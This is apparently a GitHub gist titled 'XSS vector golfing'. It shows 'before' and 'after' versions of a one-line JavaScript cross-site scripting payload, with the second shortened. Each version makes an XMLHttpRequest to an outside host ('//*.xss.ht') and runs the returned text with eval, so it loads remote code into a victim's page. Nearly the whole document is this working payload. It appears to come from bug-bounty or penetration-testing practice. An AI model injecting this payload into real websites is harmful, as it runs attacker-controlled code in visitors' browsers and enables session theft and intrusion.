Last active
July 26, 2017 16:34
-
-
Save Prinzhorn/3290622c98776c42613d5dbda9de3b82 to your computer and use it in GitHub Desktop.
XSS vector golfing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Before | |
function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//*.xss.ht");a.send(); | |
//After | |
with(new XMLHttpRequest){onload=a=>eval(responseText);open("GET", "//*.xss.ht");send()} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment